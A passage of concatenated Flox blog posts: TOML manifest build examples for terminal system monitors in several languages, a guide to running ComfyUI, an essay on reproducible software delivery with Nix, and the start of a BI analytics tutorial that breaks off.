and then—to close the loop—_install_ that software back into your local dev, CI, runtime, and build environments. Flox gives you one tool for all of your language ecosystems. Best of all, you can keep the workflows you already use: you run your existing build commands, push the same repo, publish to your private catalog, and then **`flox install`** your packages straight back into dev, CI, and production. Best of all, the Flox environment is itself _a declarative definition_: it's a TOML manifest describing everything your software needs to build and run _anywhere_. The packages you **`flox publish`** to your private catalog take that manifest with them, so every installable artifact doubles as an immutable record of what was built, how, when, and with which inputs. You get portable proof of provenance you can install and run anywhere. Want to learn more? Why not start by reading all about Flox **[Build](https://flox.dev/docs/concepts/manifest-builds/)** and **[Publish](https://flox.dev/docs/concepts/publishing/)**, or discover how Flox is different from, and a complement to, **[containers](https://flox.dev/docs/concepts/flox-vs-containers/)**. Or just take the plunge: **[Download Flox](https://flox.dev/docs/install-flox/)**, create your first package, build it, publish it–and install it anywhere! To help you get started, let's dig into build examples using real-world software, spanning several popular languages and toolchains. ## Build Examples: C You'll detect a theme with all of the build examples: We'll be working with interactive terminal UI (TUI) system monitors. First up is **[htop](https://github.com/htop-dev/htop)**, a mature tool written in [C](https://flox.dev/docs/cookbook/languages/c/). **Note**: In this and the sections that follow, the first mention of a language links to its Flox Build [cookbook entry](https://flox.dev/docs/cookbook/languages/c/). To build **[htop](https://github.com/htop-dev/htop)** from source using **`flox build`**, you'd clone its repo, initialize a new Flox environment, then create this manifest: ``` version = 1 [install] # build tools autoconf.pkg-path = "autoconf" automake.pkg-path = "automake" libtool.pkg-path = "libtool" pkg-config.pkg-path = "pkg-config" gnumake.pkg-path = "gnumake" gnused.pkg-path = "gnused" # runtime + link-time deps ncurses.pkg-path = "ncurses" sockstat.pkg-path = "sockstat" sockstat.systems = ["x86_64-darwin", "aarch64-darwin"] libbsd.pkg-path = "libbsd" libcap.pkg-path = "libcap" libcap.systems = ["x86_64-linux", "aarch64-linux"] libucl.pkg-path = "libucl" bash.pkg-path = "bash" # promotes consistent behavior across platforms # platform-specific build tools IOKit.pkg-path = "darwin.apple_sdk.frameworks.IOKit" IOKit.systems = ["x86_64-darwin", "aarch64-darwin"] CoreFoundation.pkg-path = "darwin.apple_sdk.frameworks.CoreFoundation" CoreFoundation.priority = 2 CoreFoundation.systems = ["x86_64-darwin", "aarch64-darwin"] gcc.pkg-path = "gcc" gcc.systems = ["x86_64-linux", "aarch64-linux"] clang.pkg-path = "clang" clang.systems = ["x86_64-darwin", "aarch64-darwin"] [build.htop] # sandboxed build version = "3.5.0-dev" description = "Demo fork of interactive process viewer" sandbox = "pure" runtime-packages = ["gcc", "ncurses", "libbsd", "libcap", "libucl", "bash"] command = ''' if [[ "$(uname)" == "Darwin" ]]; then # patches kIOMainPortDefault ^f^r kIOMasterPortDefault for older macOS SDKs sed -i.bak 's/kIOMainPortDefault/kIOMasterPortDefault/g' darwin/DarwinMachine.c fi autoreconf -i ./configure --prefix=$out \ --with-ncurses \ --enable-unicode make -j$(nproc) make install ''' ``` There are a couple of useful things to note about the **`[build]`** definition in this manifest:: - We define platform-specific dependencies (compilers and libraries) in the **`[install]`** section; - We build with autoconf on both Linux and MacOS, using each platform's default compiler; - We use conditional logic (**`if [[ "$(uname)" == "Darwin" ]]; then`**) to patch the project source code on macOS. This addresses a common type of platform-specific or version-specific issue; - We're again doing a **`sandbox = "pure"`** build, so we need to define more build-time dependencies than with a basic build. Sandbox builds are _reproducible_; basic builds are _repeatable_: inside the sandbox, only the dependencies defined in the manifest are available. Once you **`flox activate`** and run **`flox build`**, you'll see output like this: ``` Completed build of htop-3.5.0-dev in local mode ✨ Build completed successfully. Output created: ./result-htop ``` You can run **`flox publish`** to publish to your private FloxHub catalog. ## Build Examples: C++ The [C++]([C](https://flox.dev/docs/cookbook/languages/c/)) build example is **[btop](https://github.com/aristocratos/btop)**, which might be the coolest **`htop`** alternative going. This build example uses [**cmake**](https://github.com/Kitware/CMake), but you can build for Linux and macOS using **`make`**, too. To build **`btop`** from source, clone its repo and initialize a new Flox environment. Then paste the TOML below into your manifest: ``` version = 1 [install] cmake.pkg-path = "cmake" gcc.pkg-path = "gcc" gcc.systems = ["x86_64-linux","aarch64-linux"] clang.pkg-path = "clang" clang.systems = ["x86_64-darwin","aarch64-darwin"] binutils.pkg-path = "binutils" binutils.priority = 7 apple-sdk_15.pkg-path = "apple-sdk_15" apple-sdk_15.systems = ["aarch64-darwin", "x86_64-darwin"] [build.btop] description = "Custom demo fork of btop" version = "1.4.3" command = ''' mkdir -p build cd build cmake .. -DCMAKE_INSTALL_PREFIX=$out -DBTOP_LTO=false make -j3 make install PREFIX=$out ''' ``` Once you activate the environment and run **`flox build`**, you'll see a message like this: ``` Completed build of btop-1.4.3 in local mode ✨ Build completed successfully. Output created: ./result-btop ``` You can run **`flox publish`** to publish to your private FloxHub catalog. ## Build Examples: Rust [Rust](https://flox.dev/docs/cookbook/languages/rust/) offers several **`htop`**-like alternatives, the most popular of which is probably **bottom**, or **btm**. The TOML below defines not just a build command (**[build.bottom]**), but lint (**[build.lint]**) and unit tests (**[build.unit-tests]**) too. If you prefer, you could incorporate these into a single build command. ``` version = 1 [install] # rust toolchain rustc.pkg-path = "rustc" cargo.pkg-path = "cargo" rustfmt.pkg-path = "rustfmt" clippy.pkg-path = "clippy" # cross compilation helper (optional) cargo-cross.pkg-path = "cargo-cross" [build.bottom] version = "0.11.0" description = "Custom fork of btm" command = ''' set -euo pipefail mkdir -p "$out/bin" cargo build --release --locked cp target/release/btm "$out/bin/" # generates shell completions & manpages if cargo metadata --no-deps | grep -q '"generate_completions"'; then mkdir -p "$out/share/completions" "$out/share/man/man1" cargo run --release --features deploy -- completions --out-dir "$out/share/completions" cargo run --release --features deploy -- man --out-dir "$out/share/man/man1" fi ''' # lints results into $out/lint [build.lint] version = "0.11.0" description = "Custom fork of btm" command = ''' set -euo pipefail mkdir -p "$out/lint" cargo clippy --all-targets --all-features -- -D warnings | tee "$out/lint/clippy.txt" || true ''' # dumps test suite results into $out/test [build.unit-tests] version = "0.11.0" description = "Custom fork of btm" command = ''' set -euo pipefail mkdir -p "$out/test" cargo test --locked --all-features -- --nocapture | tee "$out/test/tests.txt" ''' ``` Paste the TOML above into your Flox manifest, run **`flox build`**, and you're off to the races. Just running **`flox build`** will queue up all three commands, showing final output like this: ``` Completed build of bottom-0.11.0 in local mode … Completed build of lint-0.11.0 in local mode … Completed build of unit-tests-0.11.0 in local mode ✨ Builds completed successfully. Outputs created: ./result-bottom, ./result-lint, ./result-unit-tests ``` (**Note**: The ellipses, `…`, indicate redacted output messages between each build command.) Because your build also includes definitions for **`[build.lint]`** and **`[build.unit-tests]`**, you must name the **`bottom`** package explicitly when you go to publish it: ``` flox publish bottom ``` ## Build Examples: Go There's an **`htop`** alternative called **`gotop`** for [Go](https://flox.dev/docs/cookbook/languages/go/#go-compiler-adds-metadata), but **[ctop](https://github.com/bcicen/ctop)** seems like an even better alternative. It's a terminal ui (TUI) tool for monitoring OCI containers: basically, **`htop`** for Docker. The TOML below defines a build plan for **`ctop`**, complete with coverage tests: ``` version = 1 [install] go.pkg-path = "go_1_22" # upx for compressing binaries upx.pkg-path = "upx" # git for version string extraction git.pkg-path = "git" # jq for processing test output jq.pkg-path = "jq" [build.ctop] description = "Custom fork of ctop" version = "0.7.7" command = ''' set -euo pipefail mkdir -p "$out/release" "$out/test" # runs tests with coverage go test -v -coverprofile="$out/test/coverage.out" ./... > "$out/test/test.log" 2>&1 || exit 1 # generates coverage report go tool cover -html="$out/test/coverage.out" -o "$out/test/coverage.html" # detects target platform GOOS=$(go env GOOS) GOARCH=$(go env GOARCH) CTOP_VERSION=$(git describe --tags --dirty --always 2>/dev/null || echo "dev") BIN="ctop-${CTOP_VERSION}-${GOOS}-${GOARCH}" # builds it env CGO_ENABLED=0 GOOS=$GOOS GOARCH=$GOARCH \ go build -tags static -ldflags "-w -s -X=main.Version=$CTOP_VERSION" \ -o "$out/release/$BIN" . upx --lzma "$out/release/$BIN" >/dev/null 2>&1 || true ''' ``` A successful build shows output like this: ``` Completed build of ctop-0.7.7 in local mode ✨ Build completed successfully. Output created: ./result-ctop ``` Next just run **`flox publish`** to push your package to your private catalog. ## Build Examples: Python Although there's an **`htop`**-like tool called **`pytop`**, the obvious choice for [Python](https://flox.dev/docs/cookbook/languages/python/) is **[glances](https://github.com/nicolargo/glances)**, which by most measures is a more informative tool. The manifest below defines everything needed to build both **`glances`** and its web server, which provides a TUI-style browser interface. The **`glances`** web server requires a few extra packages to work on MacOS: ``` version = 1 [install] python312.pkg-path = "python312" uv.pkg-path = "uv" nodejs.pkg-path = "nodejs_20" # req'd for vue.js build # iproute2mac req'd for netifaces2 on macos iproute2mac.pkg-path = "darwin.iproute2mac" iproute2mac.systems = ["x86_64-darwin", "aarch64-darwin"] [build.glances] description = "Custom fork of glances" version = "4.3.2_dev05" runtime-packages = ["python312"] command = ''' set -euo pipefail mkdir -p "$out/bin" # sets up support for compiling netifaces2 if [[ "$OSTYPE" == "darwin"* ]]; then export ARCHFLAGS="-arch $(uname -m)" fi uv pip install --no-cache-dir --target "$out/lib/python3.12/site-packages" .[all] # creates tui entry point cat > "$out/bin/glances" << EOF exec "\${FLOX_ENV}/bin/python3" -c " import sys, os sys.path.insert(0, os.path.join('$out', 'lib', 'python3.12', 'site-packages')) from glances import main main() " EOF # creates httpd entry point cat > "$out/bin/glances-webserver" << EOF exec "\${FLOX_ENV}/bin/python3" -c " import sys, os sys.path.insert(0, os.path.join('$out', 'lib', 'python3.12', 'site-packages')) from glances import main import sys sys.argv.append('-w') main() " EOF chmod +x "$out/bin/glances" "$out/bin/glances-webserver" ''' ``` Once your build finishes you'll see a message like this: ``` Completed build of glances-4.3.2_dev05 in local mode ✨ Build completed successfully. Output created: ./result-glances ``` Then just run **`flox publish`** to push your package to your private catalog. ## Build Examples: Java There's nothing _quite_ like **`htop`** in the Java world. But there is **[visualvm](https://github.com/oracle/visualvm)**, which provides comparable visibility into the inner workings of [Java](https://flox.dev/docs/cookbook/languages/jvm/) and the JVM. The manifest below defines everything you need to build **`virtualvm`** for Linux, MacOS, or even Windows: ``` version = 1 [install] # jdk for NetBeans jdk8.pkg-path = "jdk8" jdk8.priority = 1 # platform-specific compilers gcc.pkg-path = "gcc" gcc.systems = ["x86_64-linux", "aarch64-linux"] clang.pkg-path = "clang" clang.systems = ["x86_64-darwin", "aarch64-darwin"] # build essentials ant.pkg-path = "ant" gnumake.pkg-path = "gnumake" coreutils.pkg-path = "coreutils" gnused.pkg-path = "gnused" gawk.pkg-path = "gawk" # build deps wget.pkg-path = "wget" unzip.pkg-path = "unzip" zip.pkg-path = "zip" patch.pkg-path = "patch" [build.visualvm] description = "Demo fork of visualvm" version = "VisualVM-Dev" runtime-packages = ["jdk8"] command = ''' set -euo pipefail # sets up environment JAVA_HOME="$(dirname $(dirname $(readlink -f $(which java))))" export JAVA_HOME PATH="${JAVA_HOME}/bin:${PATH}" export ANT_HOME="$(dirname $(dirname $(readlink -f $(which ant))))" echo "Building VisualVM..." cd visualvm # cleans NetBeans environment if exists if [ -d "netbeans" ]; then rm -rf netbeans fi # builds NetBeans echo "Building NetBeans Platform 22..." bash build-nb.sh || echo "build-nb.sh completed (possibly already up to date)" # finds + extracts NetBeans zip NBZIP=$(find build -name "*nb220*.zip" -type f | head -1) if [ -n "$NBZIP" ] && [ -f "$NBZIP" ]; then unzip -q "$NBZIP" -d . else echo "Error: NetBeans Platform zip not found" exit 1 fi # builds visualvm export nb_platform_home="netbeans" ant -Dnb_platform_home="$nb_platform_home" build-zip mkdir -p "$out" if [ -f "dist/visualvm.zip" ]; then unzip -q "dist/visualvm.zip" -d "$out" else # defensive programming to detect where ant puts visualvm.zip build_zip=$(find build -name "visualvm*.zip" -type f | head -1) if [ -n "$build_zip" ]; then unzip -q "$build_zip" -d "$out" else echo "Error: Could not find built visualvm.zip" exit 1 fi fi chmod +x "$out"/*/bin/visualvm ``` Once your build finishes, you'll see a message like this: ``` Completed build of visualvm-VisualVMDev in local mode ✨ Build completed successfully. Output created: ./result-visualvm ``` Again, just run **`flox publish`** to push your package to your private catalog. ## Build Examples: JavaScript / Node.js The final build example is **[vtop](https://github.com/MrRio/vtop)**, a quite pretty **`htop`** alternative written mostly in [JavaScript](https://flox.dev/docs/cookbook/languages/nodejs/). ``` version = 1 [install] nodejs.pkg-path = "nodejs_20" # gnu make gets called by an upstream makefile gnumake.pkg-path = "gnumake" [build.vtop] description = "Custom demo fork of vtop" version = "0.6.1" runtime-packages = ["nodejs"] command = ''' set -euo pipefail mkdir -p "$out/bin" # sets up npm cache export npm_config_cache="${FLOX_ENV_CACHE:-/tmp}/npm" mkdir -p "$npm_config_cache" npm install --omit=dev cp bin/vtop.js "$out/bin/vtop" chmod +x "$out/bin/vtop" # copies the entire source for runtime closure mkdir -p "$out/lib/vtop" cp -r *.js package.json sensors/ themes/ bin/ "$out/lib/vtop/" cp -r node_modules "$out/lib/vtop/" # creates a wrapper script that sets NODE_PATH cat > "$out/bin/vtop" << 'EOF' #!/bin/bash VTOP_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )/../lib/vtop" && pwd )" cd "$VTOP_DIR" exec node bin/vtop.js "$@" EOF ``` The build should finish quickly. Then you'll see a message like: ``` Completed build of vtop-0.6.1 in local mode ✨ Build completed successfully. Output created: ./result-vtop ``` One last time, run **`flox publish`** to push your package to your private catalog. Title: Run ComfyUI Anywhere With Flox Source: https://flox.dev/blog/run-comfyui-anywhere-with-flox/ Date: 2025-06-10 Category: guide # Run ComfyUI Anywhere With Flox ComfyUI is a node-based system for creating Stable Diffusion pipelines, and it offers endless possibility. Installing it with Flox is a breeze. Text to image models are super fun to play with. If you want art, seek an artist. But if you need quick imagery for your fantasy football team, you want a background for your social media profiles, or you just want to see what a computer thinks _a beautiful glass of water_ looks like, they're just what you need. They're both preditable and unpredictable at the same time, in a way that is hard to explain. There are endless tunables, available models, and methods for tweaking text clippings and latent data. Everything makes sense, but there's a lot of it. ## Why ComfyUI? This is where ComfyUI really shines. It does a fantastic job of exposing the plumbing behind Stable Diffusion pipelines, allowing you to wire things together in infinite ways and watch them as they run. This makes it a _fantastic_ learning tool. Tools like Fooocus and RuinedFooocus are also amazing - their far simpler "put a prompt in the box" interfaces help you create images easily - but ComfyUI lets you see what's going on in real time. Even the Automatic1111 WebUI, with its complex and flexible interface, can't let you see all the pieces come together. ComfyUI is an amazing place to start for those who hope to someday build complex diffusion pipelines. But getting ComfyUI up and running isn't exactly easy. Instructions vary across Linux, Mac, and Windows, and there are a lot of steps to go through. This article shows you how to use an environment from FloxHub to get ComfyUI up and running quickly, across all the systems where you work. ## The Simple Setup Starting ComfyUI using the environment from FloxHub is easy. Let's get straight to it. This environment works from within a checked out clone of ComfyUI. Without the repo, there's nothing to run in this environment. So first we need to clone the repo. ``` % git clone https://github.com/comfyanonymous/ComfyUI.git [...] % cd ComfyUI ``` Once we have the repo cloned and we have `cd`ed into its directory, we can activate the environment from FloxHub using `flox activate`: ``` % flox activate -r flox/ComfyUI -s ``` Okay. Let's unpack what's happening here: - The `flox activate` command tells Flox to activate an environment. Flox environments are subshells, and their manifests contain packages, configuration, and hook scripts. - Adding `-r flox/ComfyUI` will pull the environment manifest from FloxHub at `flox/ComfyUI`. The environment will still run locally on Linux, Mac, and WSL2. - The `-s` flag will cause services defined in the environment to be started. In this case, these are the ComfyUI interface and a model loader. The first time you run this, it will take a while. Flox is building your environment behind the scenes - including Python, PyTorch, and a collection of other Python moduiles - and this will only happen the first time you activate. After the environment activates, you will be in a subshell with all of the ComfyUI Python modules available. ``` % flox activate -r flox/ComfyUI -s ✅ You are now using the environment 'flox/ComfyUI (remote)'. To stop using this environment, type 'exit' flox [flox/ComfyUI (remote)] % ``` But, more importantly, you will have also started the services that are defined in this environment,. To see the list of services that have been started, you can run `flox services status`: ``` flox [flox/ComfyUI (remote)] % flox services status NAME STATUS PID comfyui Running 20688 getmodels Completed [20691] flox [flox/ComfyUI (remote)] % ``` You will notice two services on the list: - `comfyui`, which is the ComfyUI interface - `getmodels`, which is a simple script that downloads a few models from Hugging Face into the `models/` directory the first time it runs If you want to see logs for either of these services, you can run `flox services logs [servicename]`. ## Using ComfyUI Once the services have started successfully, you will be able to visit http://127.0.0.1:8188/ to see the ComfyUI interface. The interface will be populated with a default workflow. You will see the following nodes: - Load Checkpoint: load a model from a file - CLIP Text Encode: encode a text prompt - Empty Latent Image: establish an empty latent space of the correct size - VAE decode: convert data in latent space into an image Figure: The default ComfyUI workflow These nodes have already been connected together in a functional way; a model, two text prompts, and an empty latent image are passed into the sampler, and the result is decoded into an image, shown to you in a preview node, and saved. All that is missing is for us to select the correct model file in the Load Checkpoint box. We downloaded one in our `getmodels` service, and that's the one we want to use. From here, to generate an image: - Locate the leftmost node, Load Checkpoint - Click the `ckpt_name` selection arrow, and select the v1-5-pruned-emaonly-fp16 checkpoint - Update the prompt in the top CLIP Text Encode box, if you want - Click the Queue Prompt button in the toolbar on the right You should begin to see the pipeline working - nodes will have a green border while they are active. When it's fiunished, you should see an image generated on the right-hand side of the node graph. You've just run your first ComfyUI pipeline! If you ran this on a Linux machine, try it on a Mac. Or vice versa, because this environment works everywhere. ## What to do next This is just the beginning of what ComfyUI can do. The very next thing you should do is install ComfyUI Manager. This will make ComfyUI do a lot more amazing stuff through the web UI, including: - download models - manage custom nodes - update ComfyUI - restart the server - view server metadata To install it, run these commands: ``` flox [flox/ComfyUI (remote)] % cd custom_nodes/ flox [flox/ComfyUI (remote)] % git clone https://github.com/ltdrdata/ComfyUI-Manager.git [...] flox [flox/ComfyUI (remote)] % cd .. flox [flox/ComfyUI (remote)] % flox services restart ``` After that, take a look at the [ComfyUI Example Library](https://comfyanonymous.github.io/ComfyUI_examples/). Each of the images in the library can be loaded into ComfyUI as workflows. I'll say that again. The _images_ in the example library can be loaded as _workflows_ because the node graph has been stored in the image as metadata! Cool stuff. With those examples + ComfyUI Manager, you have everything you need to learn and build advanced Stable Diffusion workflows. ## Flox makes it easy This environment works across Mac and Linux, and offers GPU acceleration for both CUDA and Metal. That's because Flox is making sure the exact version of the `pytorch-bin` package is installed for the system you're working on. The result: portable ComfyUI. Flox makes it easy to create environments that contain infinite combinations of packages, variables, hooks, and configuration. If you're new to Flox, head to our [docs](https://flox.dev/docs/) and create one of your own. Title: Reclaiming the SDLC Source: https://flox.dev/blog/reclaiming-the-sdlc/ Date: 2025-05-19 Category: guide # Reclaiming the SDLC CI/CD is just a wrapper. To align and scale software delivery across the SDLC, teams need environments that are reproducible, auditable, and portable by default. Fragmentation is the defining characteristic of software development today. This might seem counter-intuitive. After all, CI/CD is supposed to boost developer velocity by emphasizing automation and repeatability. But even though CI/CD gives us standard _patterns_ for building and shipping software, it doesn’t give us shared _standards_ for implementing these patterns. Nor does it standardize _how teams work_. Instead, it provides a reliable, repeatable way to encapsulate a wide variety of _different ways of doing this work_. The upshot is that CI/CD isn’t coextensive with the SDLC, however much we’d like it to be. It’s kind of like a _wrapper_ for the SDLC, imposing just enough structure to permit automation, usually by standardizing and automating tasks where automation yields clear, agreed-upon benefits—like repeatable builds, tests, and deployments—while leaving the majority of the SDLC outside its scope, under local or team-specific control. But a wrapper can only standardize what’s encapsulated within its boundaries. _Outside_ the scope of CI/CD, differences in repo strategy, pipeline design, artifact management, local development, and even semantics are just a few of the myriad sources of fragmentation that ripple and propagate across testing, CI, and production. We’ve spent decades trying to solve the problem of fragmentation in software development—with little to show for it. But are we missing something? Has a solution been right in front of us for more than 20 years? ## CI/CD uses the same words, but smooths over the different languages CI/CD imposes a surface sheen of structure that masks fragmentation—beginning with how it’s implemented. When three team leads in a large org get together to talk about building and shipping software, they can’t assume [commensurability](https://en.wikipedia.org/wiki/Commensurability_(philosophy_of_science)) between how they do what they do—even if, in comparing their workflows, they recognize familiar structures. All three team leads might use similar language—e.g., “We test everything together,” “We validate dependencies,” “We roll back deployments as needed”—but in reality they’re talking about different things _because they’re each working from different prior assumptions about how to build and ship software_. For example, in reality: - One team uses a monorepo, another a polyrepo, and another a hybrid approach; - Two use an imperative CI/CD pipeline, the other a declarative one; - All three implement infrastructure-as-code patterns, but use different tools and methods. Once you drill down into these patterns, you find plenty of local variation. Those two teams using imperative CI/CD pipelines? They use the same high-level stages, but their pipeline DAGs diverge: one runs everything in sequence—build, test, security, deploy. The other parallelizes as much as possible, kicking off tests and security scans alongside the build to cut feedback time. Same high-level stages, different pipeline behavior. ## Your SDLC: From a one-way stream to a circulatory system Another source of fragmentation is what I call the “one-way stream” problem. After teams build, ship, and deploy software, they rarely have a reliable way to track where it runs, who’s using it, and how it’s deployed. This is especially problematic in regulated industries like healthcare and finance, where compliance and traceability are mandated by regulations and statutes. To “manage” this, organizations typically try to create manual tracking processes, which introduce both overhead and the possibility of error. What’s needed is the SDLC equivalent of a _circulatory system_, such that every build, dependency, and deployment cycles through a traceable loop. _Nothing_ bypasses the loop: every change is registered, every artifact tracked, and every state reproducible. This circulatory model keeps software observable, auditable, and reproducible across its lifecycle. This invites the question: what would this vision of the SDLC look like? How about this? At a minimum, orgs must be able to track: - The source code used in a build (commit, branch, repo state). - The exact build process that produced the artifact (build script, environment, compiler, flags). - The full set of dependencies in the final artifact (including transitive dependencies). - The artifact’s immutable digest, tied to the source, config, and environment that built it. - The runtime config and deployment context, if they influence artifact’s behavior or provenance. But most build systems don’t capture the inputs required to reproduce or trace an artifact. ## CI/CD ≠ SDLC: The external dependency trap Worse, packaging steps often lose what little metadata the build process might have recorded. The resulting artifacts lack details about the build itself; they’re bereft of the exact source state, compiler flags, a full dependency graph, and other essential metadata. Without access to this information, organizations cannot deterministically reproduce build artifacts _or_ verify their provenance. What’s needed is an approach to packaging software that creates and preserves these details at every stage of the SDLC. What’s needed, then, is a _philosophical shift in packaging_. It isn’t just that modern applications tend to depend on external components outside developers’ control—it’s that modern software practices _assume and reinforce_ this dependency. In other words, external dependencies are a feature, not a bug, of how we expect to build and ship software today. Think about how we moved from static linking to dynamic linking, followed by—in the last 15-20 years—containers and VMs, which we mostly adopted to make dynamic linking viable for our runtime environments. Along the way, language-specific package managers helped establish the convention that dependency resolution could be decoupled from the OS and handled in each project’s own build or runtime context. Then came microservices—independently deployed services that depend on each other, and are dependencies in their own right. The industry came full circle, with the unit of deployment _itself_ becoming a unit of dependency. With each of these shifts, the goal wasn’t to _eliminate_ external dependencies but to _contain_ them—i.e., to isolate software runtimes, manage conflicts, and simplify deployment. Over time, then, we’ve cemented external dependencies as core to modern software delivery, making them harder to track, audit, and control. ## CI/CD ≠ Production: Blind spots in testing too And testing is just as opaque. Applications pull in open-source and third-party dependencies, but these packages get tested under conditions that aren’t transparent and don’t necessarily correspond to those in production. A package might be tested by contributors who assume a specific dependency set, config, or runtime—but these assumptions are undocumented, untracked, and invisible to downstream consumers. _Testing environments themselves_ bake in implicit assumptions about dependency resolution and runtime behavior—assumptions that don’t always map to real-world production environments. These implicit dependencies and untracked assumptions lead to downstream failures, and most orgs have no deterministic way to validate that their software will behave as expected in production. The common issue is _a lack of control over external dependencies_. Packages and libraries evolve outside an organization’s purview, and without a way to record exactly what was built, how, and with which dependencies, teams cannot make strong guarantees about reliability, security, or reproducibility. This isn’t just a “process gap” or a “tooling gap—it’s a basic flaw in how software is packaged and consumed. ## The Need for Nix I'd been doing software build and release engineering for 30 years before discovering Nix … and that was when I realized I'd been doing it wrong that whole time. I see in Nix the promise of a universal building block for software across the entire SDLC, and my “I have a dream” speech is that one day nobody would think of releasing software to the public domain without also maintaining a Nix expression for building it in `Nixpkgs`. Nix is more than just a package manager—it’s a declarative build system, a purely functional configuration language, and a framework for creating, managing, and maintaining reproducible environments. Nix builds all built packages as immutable, input-addressed artifacts and keeps them in a single directory (`/nix/store`) so software versions always remain isolated and conflict-free. Unlike traditional, OS-based package managers, Nix builds packages from declarative definitions and installs them in isolated store paths. This has the following benefits: - **Installs are atomic and immutable**. Rollbacks are reliable, upgrades don’t corrupt the system. - **Environments are isolated**. Only declared dependencies get used, nothing leaks in from the host. - **Builds are sandboxed**. They run in isolation, with access only to explicitly declared inputs. - **Conflicting versions of the same dependency can coexist**. This doesn’t break the environment. - **Dependencies are explicitly defined and/or pinned**. Builds are deterministic over space and time. A Nix expression declaratively defines a build; when evaluated, it yields a [derivation](https://nix.dev/manual/nix/2.17/glossary#gloss-derivation): a low-level, fully specified build plan. Nix expressions are _architecture-neutral_ by design, so the same definition can often be reused to target multiple platforms—like x86-64 or ARM64—without modifying it. By supplying parameters like `system` or `crossSystem` during evaluation, you control which architecture the resulting derivation targets. This lets teams build for multiple architectures _without duct-taping together separate pipelines_. They can create a single Nix expression that defines the build, and cross-compilation or native builds just work because dependencies are pinned and fully declared, not inherited from the host system’s state. I’ve used the word “fundamental” a few times in this article. We all tend to overuse this word, but listen when I say: Nix _fundamentally_ changes how we build, ship, deploy, and run software. Full stop. But now let me tell you about Flox. ## Bringing Nix to the SDLC Flox builds on Nix, but it isn’t in any sense “a wrapper around Nix;” rather, it leverages Nix to solve intractable build and deployment headaches. Flox takes what’s inherently _possible_ with Nix and makes it _practicable_, especially in the local context. Flox helps recast Nix as a pragmatic, end-to-end solution for managing runtime environments and software builds across the SDLC—from local dev, to testing, to prod. We engineered Flox specifically to pick up where Nix leaves off. If you know and love Nix, you get that it’s _the_ best, most pragmatic solution for building, shipping, and running software: i.e., for installing software and managing the SDLC. You’ve almost certainly tried to get your team or org to use it, too. With mixed results. My own experience is that Nix by itself is absolutely enough—_for those who have time to invest in learning and occasionally wrestling with it_. But just as an airtight legal contract designed to protect you from any conceivable risk is usually also unparseable to anyone who isn’t a lawyer, Nix has a similar issue: it’s the right tool, it just isn’t an especially accessible one. We built Flox specifically to pick up where Nix leaves off. Flox is premised on four core pillars: - A development environment should be usable out of the box. - Teams should be able to share and reproduce environments reliably. - Software should be compiled into packages that work across every phase of the SDLC. - Teams should be able to build and test knowing that what they ship will work the same in CI and prod. I love Nix. It is formidably powerful. You absolutely can use Nix to do all of these things. _But Nix isn’t for everyone._ Flox is. With its intuitive commands, `git`-like syntax, and familiar UX, Flox makes Nix more accessible—building on Nix’s declarative model and strict determinism, smoothing over its sharper edges. ## The Flox difference With Flox, activating a fully configured environment is just one command: **`flox activate`**. Flox environments are isolated within the bounded context of a subshell. They inherit the user’s permissions and variables—unless overridden. You can define them declaratively using **`flox edit`**. Or you can modify them imperatively with commands like **`flox install`**. You can also use **`flox edit`** to set variables, define services, author automation logic, and set aliases and functions. All without ever modifying the host system. Flox inherits Nix’s deterministic builds and binary caching, so Flox environments are always reproducible across systems. Every build result is stored in a path- and input-addressed binary cache, so if an artifact has already been built for a given architecture, it doesn’t need to be built again. For teams and DevOps engineers alike, this means fast spin-up times, fewer redundant builds, and identical build outputs across dev and prod. Flox is based on Nix, so rollbacks follow directly from Nix’s functional model. Builds are treated as pure functions, their outputs stored immutably in the Nix store, which means changing dependencies in an environment involves flipping a symlink from one known-good state to another. Because packages aren’t actually overwritten, rollback doesn’t require rebuilding or redeploying—just selecting a different result. Multiple versions of the same package can coexist, reverting from one version to another is simple and safe. Flox, like Nix, also makes it possible to generate an authoritative software bill of materials (SBOMs). Because every dependency is explicitly tracked, generating an SBOM isn’t an extra step—_it’s built into the process_. This means you get built-in traceability for security audits, compliance, and incident response. ## Complexity is a choice Dependency management today isn’t just fragmented and fragile—it’s leaky. Nix stops this at the source. Instead of fighting (and losing) a battle against configuration drift, we _declare_ environments in advance so _drift can’t happen_. Instead of treating build artifacts as mutable, Nix makes them fully defined, reproducible outputs—built from a declarative input graph, isolated from ambient system state, and addressed immutably. This means builds are byte-for-byte identical across dev, CI, and production. This isn’t theoretical. Thousands of companies use Nix in production to isolate dependencies, deploy across software and hardware boundaries, and permit deterministic, reproducible builds. At D. E. Shaw, I led a team that used Nix to build deterministic environments for everything from from dev tools and CLI workflows to low-latency trading and research systems, where we needed full reproducibility and auditability. In fact, Flox emerged out of this work. We engineered it to bring the core principles of Nix—purely declarative environments, deterministic builds, immutability, and dependency isolation—to the enterprise … without requiring a reset of our existing workflows. Complexity is a choice. We can step back and ask: what if software environments were reproducible from the start? That’s the shift Nix makes possible, and Flox is building for the future instead of patching the past. Title: Creating a Reproducible BI and Analytics Stack That Just Works Anywhere with Flox Source: https://flox.dev/popular-packages/creating-a-reproducible-bi-and-analytics-stack-that-just-works-anywhere-with-flox/ Date: 2025-04-17 Category: tutorial # Creating a Reproducible BI and Analytics Stack That Just Works Anywhere with Flox Flox makes it simple to build and ship a runtime environment for data work. Build locally, on your own system, with direct access to local resources. When you're ready to ship, just push to GitHub or FloxHub, or a container registry. This article demonstrates using Flox, built on Nix, to create portable, reproducible environments for data work. It provides a local PostgreSQL database paired with [Metabase](https://github.com/metabase/metabase)—an open-source BI and analytics platform—using a real-world public retail dataset. It’s the kind of thing you might put into a container for data scientists, data analysts, or other practitioners. Except this runtime isn’t built into a container—or a VM. It runs directly on your local system. This environment serves as a proof of concept. Because before you can ship a reproducible BI and analytic runtime to downstream users, you have to _build it_—model your data, debug your ETL, test your queries, make sure it runs locally. In a nutshell, reproducibility at **runtime** depends on reproducibility at **dev-time**. Read on to learn how Flox enables you to create and share portable, reproducible dev environments for data! ## Reproducibility crisis Shipping a reproducible **runtime** for BI and analytics isn’t all that difficult. It’s why we have containers, VMs, and bare-metal Flox/Nix environments. The difficult part involves iterating quickly and predictably on your local system as you build, test, and debug the environment. That work has to happen _before_ you bake it into a runtime artifact. This **dev-time reproducibility** is the prerequisite for **runtime** reproducibility: if it runs and behaves the same anywhere in local dev, it will run and behave the same in prod, too. This article shows you how you can bootstrap an environment for BI and analytics and start building right away—without containers, without installing software system-wide (or in `$HOME`), and without worrying about dependency conflicts, relict `systemd` or `launchd` services, or global changes to your 